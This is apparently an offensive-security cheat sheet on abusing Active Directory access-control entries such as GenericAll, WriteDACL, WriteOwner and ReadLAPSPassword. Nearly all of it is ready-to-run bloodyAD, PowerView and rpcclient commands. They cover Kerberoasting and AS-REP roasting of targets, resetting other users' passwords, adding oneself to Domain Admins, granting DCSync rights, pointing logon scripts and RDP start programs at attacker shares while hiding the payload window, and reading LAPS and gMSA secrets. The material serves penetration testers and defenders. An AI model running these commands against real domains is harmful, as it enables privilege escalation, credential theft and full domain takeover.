Active Directory - Access Controls ACL/ACE

• ACL: Access Control Lists

• ACE: Access Control Entry

• Check ACL for an User with ADACLScanner.

  ADACLScan.ps1 -Base "DC=contoso;DC=com" -Filter "(&(AdminCount=1))" -Scope subtree -EffectiveRightsPrincipal User1 -Output HTML -Show
  

• Automate ACL exploit Invoke-ACLPwn:

  ./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'user1' -Domain 'domain.local' -Password 'Welcome01!'
  

GenericAll/GenericWrite

User/Computer

• We can set a SPN on a target account, request a Service Ticket (ST), then grab its hash and kerberoast it.

  • Windows/Linux

    # Check for interesting permissions on accounts:
    bloodyAD --host 10.10.10.10 -d attack.lab -u john.doe -p 'Password123*' get writable --otype USER --right WRITE --detail | egrep -i 'distinguishedName|servicePrincipalName'
    
    # Check if current user has already an SPN setted:
    bloodyAD --host 10.10.10.10 -d attack.lab -u john.doe -p 'Password123*' get object <UserName> --attr serviceprincipalname
    
    # Force set the SPN on the account: Targeted Kerberoasting
    bloodyAD --host 10.10.10.10 -d attack.lab -u john.doe -p 'Password123*' set object <UserName> serviceprincipalname -v 'ops/whatever1'
    
    # Grab the ticket
    GetUsersSPNs.py -dc-ip 10.10.10.10 'attack.lab/john.doe:Password123*' -request-user <UserName>
    
    # Remove the SPN
    bloodyAD --host 10.10.10.10 -d attack.lab -u john.doe -p 'Password123*' set object <UserName> serviceprincipalname
    

  • Windows only

    # Check for interesting permissions on accounts:
    Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}
    
    # Check if current user has already an SPN setted:
    PowerView2 > Get-DomainUser -Identity <UserName> | select serviceprincipalname
    
    # Force set the SPN on the account: Targeted Kerberoasting
    PowerView2 > Set-DomainObject <UserName> -Set @{serviceprincipalname='ops/whatever1'}
    PowerView3 > Set-DomainObject -Identity <UserName> -Set @{serviceprincipalname='any/thing'}
    
    # Grab the ticket
    PowerView2 > $User = Get-DomainUser username 
    PowerView2 > $User | Get-DomainSPNTicket | fl
    PowerView2 > $User | Select serviceprincipalname
    
    # Remove the SPN
    PowerView2 > Set-DomainObject -Identity username -Clear serviceprincipalname
    

• We can change a victim's userAccountControl to not require Kerberos preauthentication, grab the user's crackable AS-REP, and then change the setting back.

  • Windows/Linux:

    # Modify the userAccountControl
    $ bloodyAD --host [DC IP] -d [DOMAIN] -u [AttackerUser] -p [MyPassword] add uac [Target_User] -f DONT_REQ_PREAUTH
    
    # Grab the ticket
    $ GetNPUsers.py DOMAIN/target_user -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>
    
    # Set back the userAccountControl
    $ bloodyAD --host [DC IP] -d [DOMAIN] -u [AttackerUser] -p [MyPassword] remove uac [Target_User] -f DONT_REQ_PREAUTH
    

  • Windows only:

    # Modify the userAccountControl
    PowerView2 > Get-DomainUser username | ConvertFrom-UACValue
    PowerView2 > Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose
    
    # Grab the ticket
    PowerView2 > Get-DomainUser username | ConvertFrom-UACValue
    ASREPRoast > Get-ASREPHash -Domain domain.local -UserName username
    
    # Set back the userAccountControl
    PowerView2 > Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose
    PowerView2 > Get-DomainUser username | ConvertFrom-UACValue
    

• Reset another user's password.

  • Windows/Linux:

    # Using bloodyAD with pass-the-hash
    bloodyAD --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B set password john.doe 'Password123!'
    

  • Windows only:

    # https://github.com/EmpireProject/Empire/blob/master/data/module_source/situational_awareness/network/powerview.ps1
    $user = 'DOMAIN\user1'; 
    $pass= ConvertTo-SecureString 'user1pwd' -AsPlainText -Force; 
    $creds = New-Object System.Management.Automation.PSCredential $user, $pass;
    $newpass = ConvertTo-SecureString 'newsecretpass' -AsPlainText -Force; 
    Set-DomainUserPassword -Identity 'DOMAIN\user2' -AccountPassword $newpass -Credential $creds;
    

  • Linux only:

    # Using rpcclient from the  Samba software suite
    rpcclient -U 'attacker_user%my_password' -W DOMAIN -c "setuserinfo2 target_user 23 target_newpwd" 
    

• WriteProperty on an ObjectType, which in this particular case is Script-Path, allows the attacker to overwrite the logon script path of the delegate user, which means that the next time, when the user delegate logs on, their system will execute our malicious script :

  • Windows/Linux:

    bloodyAD --host 10.0.0.5 -d example.lab -u attacker -p 'Password123*' set object delegate scriptpath -v '\\10.0.0.5\totallyLegitScript.bat'
    

  • Windows only:

    Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.bat"
    

Group

• This allows us to add ourselves to the Domain Admin group :
  • Windows/Linux:

    bloodyAD --host 10.10.10.10 -d example.lab -u hacker -p MyPassword123 add groupMember 'Domain Admins' hacker
    

  • Windows only:

    net group "domain admins" hacker /add /domain
    

  • Linux only:

    # Using the Samba software suite
    net rpc group ADDMEM "GROUP NAME" UserToAdd -U 'hacker%MyPassword123' -W DOMAIN -I [DC IP]
    

GenericWrite and Remote Connection Manager

Now let’s say you are in an Active Directory environment that still actively uses a Windows Server version that has RCM enabled, or that you are able to enable RCM on a compromised RDSH, what can we actually do ? Well each user object in Active Directory has a tab called ‘Environment’.

This tab includes settings that, among other things, can be used to change what program is started when a user connects over the Remote Desktop Protocol (RDP) to a TS/RDSH in place of the normal graphical environment. The settings in the ‘Starting program’ field basically function like a windows shortcut, allowing you to supply either a local or remote (UNC) path to an executable which is to be started upon connecting to the remote host. During the logon process these values will be queried by the RCM process and run whatever executable is defined. - https://sensepost.com/blog/2020/ace-to-rce/

The RCM is only active on Terminal Servers/Remote Desktop Session Hosts. The RCM has also been disabled on recent version of Windows (>2016), it requires a registry change to re-enable. * Windows/Linux:

bloodyAD --host 10.10.10.10 -d example.lab -u hacker -p MyPassword123 set object vulnerable_user msTSInitialProgram -v '\\1.2.3.4\share\file.exe'
bloodyAD --host 10.10.10.10 -d example.lab -u hacker -p MyPassword123 set object vulnerable_user msTSWorkDirectory -v 'C:\'

* Windows only:

$UserObject = ([ADSI]("LDAP://CN=User,OU=Users,DC=ad,DC=domain,DC=tld"))
$UserObject.TerminalServicesInitialProgram = "\\1.2.3.4\share\file.exe"
$UserObject.TerminalServicesWorkDirectory = "C:\"
$UserObject.SetInfo()

NOTE: To not alert the user the payload should hide its own process window and spawn the normal graphical environment.

WriteDACL

To abuse WriteDacl to a domain object, you may grant yourself the DcSync privileges. It is possible to add any given account as a replication partner of the domain by applying the following extended rights Replicating Directory Changes/Replicating Directory Changes All.

• WriteDACL on Domain:

  • Windows/Linux:

    # Give DCSync right to the principal identity
    bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B add dcsync user2
    
    # Remove right after DCSync
    bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B remove dcsync user2
    

  • Windows only:

    # Give DCSync right to the principal identity
    Import-Module .\PowerView.ps1
    $SecPassword = ConvertTo-SecureString 'user1pwd' -AsPlainText -Force
    $Cred = New-Object System.Management.Automation.PSCredential('DOMAIN.LOCAL\user1', $SecPassword)
    Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'DC=domain,DC=local' -Rights DCSync -PrincipalIdentity user2 -Verbose -Domain domain.local 
    

• WriteDACL on Group:

  • Windows/Linux:

    bloodyAD --host my.dc.corp -d corp -u devil_user1 -p 'P@ssword123' add genericAll 'cn=INTERESTING_GROUP,dc=corp' devil_user1
    
    # Remove right
    bloodyAD --host my.dc.corp -d corp -u devil_user1 -p 'P@ssword123' remove genericAll 'cn=INTERESTING_GROUP,dc=corp' devil_user1
    

  • Windows only:

    # Using native command
    net group "INTERESTING_GROUP" User1 /add /domain
    # Or with external tool
    PowerSploit> Add-DomainObjectAcl -TargetIdentity "INTERESTING_GROUP" -Rights WriteMembers -PrincipalIdentity User1
    

WriteOwner

An attacker can update the owner of the target object. Once the object owner has been changed to a principal the attacker controls, the attacker may manipulate the object any way they wants. * Windows/Linux:

bloodyAD --host my.dc.corp -d corp -u devil_user1 -p 'P@ssword123' set owner target_object devil_user1

* Windows only:

Powerview> Set-DomainObjectOwner -Identity 'target_object' -OwnerIdentity 'controlled_principal'

This ACE can be abused for an Immediate Scheduled Task attack, or for adding a user to the local admin group.

ReadLAPSPassword

An attacker can read the LAPS password of the computer account this ACE applies to. * Windows/Linux:

bloodyAD -u john.doe -d bloody.lab -p Password512 --host 192.168.10.2 get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime

* Windows only:

Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'

ReadGMSAPassword

An attacker can read the GMSA password of the account this ACE applies to. * Windows/Linux:

bloodyAD -u john.doe -d bloody -p Password512 --host 192.168.10.2 get object 'gmsaAccount$' --attr msDS-ManagedPassword

* Windows only:

# Save the blob to a variable
$gmsa = Get-ADServiceAccount -Identity 'SQL_HQ_Primary' -Properties 'msDS-ManagedPassword'
$mp = $gmsa.'msDS-ManagedPassword'

# Decode the data structure using the DSInternals module
ConvertFrom-ADManagedPasswordBlob $mp

ForceChangePassword

An attacker can change the password of the user this ACE applies to: * Windows/Linux:

# Using bloodyAD with pass-the-hash
bloodyAD --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B set password target_user target_newpwd

* Windows:

$NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity 'TargetUser' -AccountPassword $NewPassword

* Linux:

# Using rpcclient from the  Samba software suite
rpcclient -U 'attacker_user%my_password' -W DOMAIN -c "setuserinfo2 target_user 23 target_newpwd" 

References

• ACE to RCE - @JustinPerdok - July 24, 2020
• Access Control Entries (ACEs) - The Hacker Recipes - @_nwodtuhs
• Escalating privileges with ACLs in Active Directory - April 26, 2018 - Rindert Kramer and Dirk-jan Mollema

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